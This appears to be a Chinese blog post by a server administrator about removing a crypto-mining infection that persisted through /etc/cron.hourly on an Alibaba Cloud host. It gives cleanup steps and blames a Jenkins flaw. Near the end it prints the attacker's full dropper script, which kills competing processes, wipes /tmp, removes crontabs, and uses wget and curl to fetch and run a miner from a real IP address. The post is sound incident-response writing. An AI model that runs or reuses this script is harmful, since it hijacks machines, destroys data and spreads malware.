在阿里云发现有个异常,点进来看了一下,有用Java执行了个什么蛇蛇shell脚本,很害怕,然后发现一连串的报警,因为前不久刚处理好蠕虫挖矿病毒的东西,心里有点打鼓但也不是第一次那么茫然了。

二话不说,先进去top看看
有个我不认识的蛇皮进程占用很高的CPU算力,去到阿里云控制台看流量都是满载(下面截图的这个是个失误,当时病毒进入休眠期了,很奇怪)

然后我就先二话不说kill 一波
结果不出30秒再来一个乱七八糟的进程
再继续kill 徒劳
嗯 我找到了一个共通点 就是这个病毒拉起的进程都是10个字符,看样子是随机的所以就叫10字随机病毒了
重点,既然死了还能活,那肯定是有定时任务在里面搞鬼,所以先看一波crontab
crontab -l
#发现啥也没有
#怕没显示出来去文件夹看了看
cd /var/spool/cron/
#发现啥也没有
#那么问题来了 到底是谁在搞鬼,但是可以确定是定时任务肯定是帮凶,但是为啥看不到呢?
#。。。。
#。。。。
#认真去查了资料,总结了一个关于crontab的知识
#系统级任务就放在 /etc/crontab 里;,用户级任务 crontab -e 在 /var/spool/cron/ 下个用户文件夹下面的文件里
#ok我们接着找
vi /etc/crontab 如图

OK,我们找个在线的cron去检测一下这个是多久执行一次

现在在证据匮乏的情况下 这个定时任务有最大的嫌疑,我们去看看他到底要干嘛。
vi /etc/cron.hourly/cron.sh

虽然我看不懂,但是我可以去搜啊,结果如下,至于为啥这么可以搜到 个人经验喽

OK点击一个合适的答案进去,发现大佬是这么说的,当然了我也是参考大佬的过程
单看cron.sh基本能分析出来它的毒害原理了,猜测如下:
/lib/udev/udev是病原体,通过cron.sh每隔3min自动检测一次,如果木马程序不存在,就从病原体复制一份儿到/lib/udev/debug
副本/lib/udev/debug执行,生成一个随机命名的程序,丢到/usr/bin/、/boot等目录
同时修改了自启动配置chkconfig –add xxx ,同时修改自启动项/etc/rc.local
为了验证这一猜想我们进到对应的目录下面 用ll看下文件最近修改的时间,就能看到这个猜想大概是正确的

接下来,就是杀毒了,
#先不要杀掉这个进程,先记录下来这个经常的pid和名字,我这里是10083和cpjachuofr,暂停掉这个进程
kill -STOP 10083
#然后挨个执行下面的命令
#删除病毒相关文件
rm -rf /etc/cron.hourly/cron.sh
find /etc -name '*cpjachuofr*' | xargs rm -f
rm -f /usr/bin/cpjachuofr
#杀掉病毒进程
pkill cpjachuofr
#删除病毒本体
rm -f /lib/udev/udev
然后top一下即可。
为什么又中招?我尝试搜索了下,发现,是因为jenkins的问题,我放个链接,
https://yq.aliyun.com/articles/695301
还记得一开始的那个网址吗?我们去看看,
http://45.55.211.79/.cache/jenkins/2/z1.sh
#!/bin/bash
kill -9 `cat /tmp/.X11unix`
kill -9 `cat /tmp/.lsdpid`
rm -rf /tmp/*
rm -rf /var/tmp/*
rm -rf /var/tmp/.lib
killall -9 trace
killall -9 kintegrityds
killall -9 kpsmouseds
killall -9 md
netstat -antp | grep ":14444" | awk '{print $7}' | cut -d "/" -f 1 | xargs kill -9
netstat -antp | grep ":3333" | awk '{print $7}' | cut -d "/" -f 1 | xargs kill -9
ps -ef|grep -v grep|grep "trace"|awk '{print $2}'|xargs kill -9
#如果你关注我的博客的话,你会发现下面这几行有点眼熟,哈哈狗比们都是这幅德性,运行自己的病毒前先让别的病毒去死
ps -ef|grep -v grep|grep "kintegrityds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kpsmouseds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kerberods"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "khugepageds"|awk '{print $2}'|xargs kill -9
ps aux|grep -v grep|grep -v "bash"|grep -v "/bin/sh"|awk '{if($3>=80.0) print $2}'|xargs kill -9
ps -e -o pcpu,pid,args | grep -v grep | grep -v "bash" | grep -v "/bin/sh" | awk '{if($1>30.0) print $2}' | while read procid
do
kill -9 $procid
done
if crontab -l | grep -q "pastebin"
then
crontab -r
else
echo "ok" >> /dev/null
fi
if [ $(ps -e -o pcpu,pid,args | grep -v grep | grep "bash" | awk '{if($1>30.0) print $2}' | wc -l ) == '1' ]; then
echo "all good" >> /dev/null
else
rm -rf /tmp/.lock
cd /tmp
mkdir .scr
cd .scr
wget -q 45.55.211.79/.cache/jenkins/2/sn2.tar.gz
curl -O 45.55.211.79/.cache/jenkins/2/sn2.tar.gz
tar -zxvf sn2.tar.gz
rm -rf sn2.tar.gz
cd sn2
chmod +rwx *
./go
fi
好了原因找到了,就是查漏补缺,有兴趣的可以研究下这个攻击脚本,很有意思哟!

网友评论